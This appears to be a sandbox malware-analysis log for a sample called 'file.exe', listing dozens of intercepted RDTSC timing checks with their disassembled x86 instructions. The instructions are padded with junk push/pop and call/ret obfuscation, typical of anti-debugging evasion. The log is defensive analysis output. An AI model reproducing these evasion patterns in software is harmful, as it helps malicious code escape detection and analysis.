Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C313E second address: 10C31DC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F3AD1315054h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F3AD1315056h 0x00000011 nop 0x00000012 and di, 86C1h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F3AD1315048h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000016h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 call 00007F3AD1315059h 0x00000038 movsx ebx, ax 0x0000003b pop ebx 0x0000003c mov ebx, dword ptr [ebp+122D35F4h] 0x00000042 push 00000000h 0x00000044 mov ebx, dword ptr [ebp+122D35CCh] 0x0000004a xchg eax, esi 0x0000004b pushad 0x0000004c jmp 00007F3AD1315057h 0x00000051 push esi 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4314 second address: 10C4361 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push esi 0x0000000b movsx edi, di 0x0000000e pop ebx 0x0000000f jbe 00007F3AD12BE09Ch 0x00000015 mov dword ptr [ebp+122D2729h], edi 0x0000001b push 00000000h 0x0000001d mov bx, cx 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebp 0x00000025 call 00007F3AD12BE098h 0x0000002a pop ebp 0x0000002b mov dword ptr [esp+04h], ebp 0x0000002f add dword ptr [esp+04h], 00000018h 0x00000037 inc ebp 0x00000038 push ebp 0x00000039 ret 0x0000003a pop ebp 0x0000003b ret 0x0000003c xchg eax, esi 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jnl 00007F3AD12BE096h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4361 second address: 10C4367 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4367 second address: 10C4388 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3AD12BE0A0h 0x00000008 jg 00007F3AD12BE096h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C52A0 second address: 10C52A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C52A4 second address: 10C531E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3AD12BE096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F3AD12BE098h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 stc 0x00000026 mov bh, DDh 0x00000028 push 00000000h 0x0000002a jmp 00007F3AD12BE09Eh 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F3AD12BE098h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000017h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f jmp 00007F3AD12BE0A1h 0x00000054 pop eax 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4608 second address: 10C460C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C460C second address: 10C462E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C8326 second address: 10C83C4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3AD1315048h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F3AD1315048h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 movzx ebx, cx 0x00000028 call 00007F3AD1315052h 0x0000002d mov ebx, dword ptr [ebp+122D3804h] 0x00000033 pop edi 0x00000034 push 00000000h 0x00000036 call 00007F3AD131504Fh 0x0000003b mov edi, dword ptr [ebp+122D1A57h] 0x00000041 pop edi 0x00000042 mov dword ptr [ebp+122D1C0Ch], edi 0x00000048 push 00000000h 0x0000004a push 00000000h 0x0000004c push ecx 0x0000004d call 00007F3AD1315048h 0x00000052 pop ecx 0x00000053 mov dword ptr [esp+04h], ecx 0x00000057 add dword ptr [esp+04h], 00000017h 0x0000005f inc ecx 0x00000060 push ecx 0x00000061 ret 0x00000062 pop ecx 0x00000063 ret 0x00000064 or di, 71B1h 0x00000069 cmc 0x0000006a xchg eax, esi 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F3AD131504Bh 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C83C4 second address: 10C83FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F3AD12BE0A7h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3AD12BE0A6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C83FC second address: 10C8402 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C85A8 second address: 10C85C7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3AD12BE0A5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C85C7 second address: 10C85D1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3AD131504Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA610 second address: 10CA614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA614 second address: 10CA61A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA75E second address: 10CA769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA769 second address: 10CA76F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CC704 second address: 10CC70A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CC70A second address: 10CC71D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3AD1315048h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CC71D second address: 10CC727 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3AD12BE09Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CC90A second address: 10CC91B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD131504Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CC91B second address: 10CC921 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5309 second address: 10D530F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D544B second address: 10D546E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE09Fh 0x00000007 jmp 00007F3AD12BE09Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D546E second address: 10D5474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5474 second address: 10D5487 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jl 00007F3AD12BE096h 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5487 second address: 10D548F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D548F second address: 10D5495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5752 second address: 10D5756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5756 second address: 10D5774 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jc 00007F3AD12BE096h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7219 second address: 10D723F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD131504Eh 0x00000007 jmp 00007F3AD131504Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 jbe 00007F3AD1315046h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB390 second address: 10DB3A9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007F3AD12BE096h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007F3AD12BE096h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB3A9 second address: 10DB3BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3AD131504Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB3BD second address: 10DB3CB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB3CB second address: 10DB3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB3CF second address: 10DB3D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB528 second address: 10DB533 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F3AD1315046h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB533 second address: 10DB55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jp 00007F3AD12BE09Ah 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3AD12BE0A2h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB55D second address: 10DB57F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3AD1315054h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB57F second address: 10DB584 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB584 second address: 10DB58A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB58A second address: 10DB59F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F3AD12BE098h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFFC8 second address: 10DFFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFFD3 second address: 10DFFD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E058C second address: 10E0592 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E09A0 second address: 10E09A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E09A8 second address: 10E09B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0C85 second address: 10E0C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0C8B second address: 10E0C8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0F11 second address: 10E0F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F3AD12BE096h 0x0000000a jmp 00007F3AD12BE0A2h 0x0000000f popad 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0F35 second address: 10E0F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0F3B second address: 10E0F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10775C4 second address: 10775D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD131504Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10775D6 second address: 10775ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A1h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E645C second address: 10E6460 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E66E7 second address: 10E66EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6DD0 second address: 10E6E0F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F3AD1315051h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3AD1315051h 0x0000001d push eax 0x0000001e push edx 0x0000001f jng 00007F3AD1315046h 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6E0F second address: 10E6E1B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3AD12BE096h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6E1B second address: 10E6E36 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F3AD1315056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6E36 second address: 10E6E44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jnp 00007F3AD12BE096h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6E44 second address: 10E6E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD1315054h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ECEF1 second address: 10ECF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3AD12BE0A1h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ECF0E second address: 10ECF12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EBFAF second address: 10EBFF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007F3AD12BE0A6h 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop edx 0x00000012 popad 0x00000013 pushad 0x00000014 jl 00007F3AD12BE09Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EBFF0 second address: 10EC001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop ebx 0x0000000c push esi 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC131 second address: 10EC139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C3C6 second address: 109C3D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jc 00007F3AD1315046h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ECCF9 second address: 10ECD15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD12BE0A1h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ECD15 second address: 10ECD19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ECD19 second address: 10ECD1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ECD1D second address: 10ECD23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ECD23 second address: 10ECD53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 jp 00007F3AD12BE0B1h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ECD53 second address: 10ECD5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ECD5B second address: 10ECD73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F3AD12BE0A1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ECD73 second address: 10ECD8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD1315052h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F076F second address: 10F0792 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3AD12BE09Ch 0x00000008 pushad 0x00000009 jl 00007F3AD12BE096h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 ja 00007F3AD12BE096h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0792 second address: 10F07B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3AD1315051h 0x0000000b jng 00007F3AD131504Ah 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B893E second address: 10B8942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8942 second address: 10B894E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B894E second address: 10B8952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8952 second address: 10B89A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 js 00007F3AD1315049h 0x0000000e and dh, 0000000Dh 0x00000011 lea eax, dword ptr [ebp+1248E6FDh] 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F3AD1315048h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 jmp 00007F3AD1315057h 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jng 00007F3AD1315048h 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B89A8 second address: 10B89B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F3AD12BE096h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
